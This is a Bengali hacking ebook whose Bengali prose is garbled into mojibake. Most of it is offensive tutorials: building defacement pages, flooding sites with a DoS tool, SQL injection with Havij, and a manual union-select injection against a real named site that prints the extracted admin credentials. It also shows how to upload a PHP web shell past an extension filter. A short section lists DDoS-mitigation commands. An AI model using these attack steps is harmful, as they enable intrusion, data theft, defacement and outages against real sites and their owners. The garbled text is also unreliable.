পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 41: Hacking Bangla eBook

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

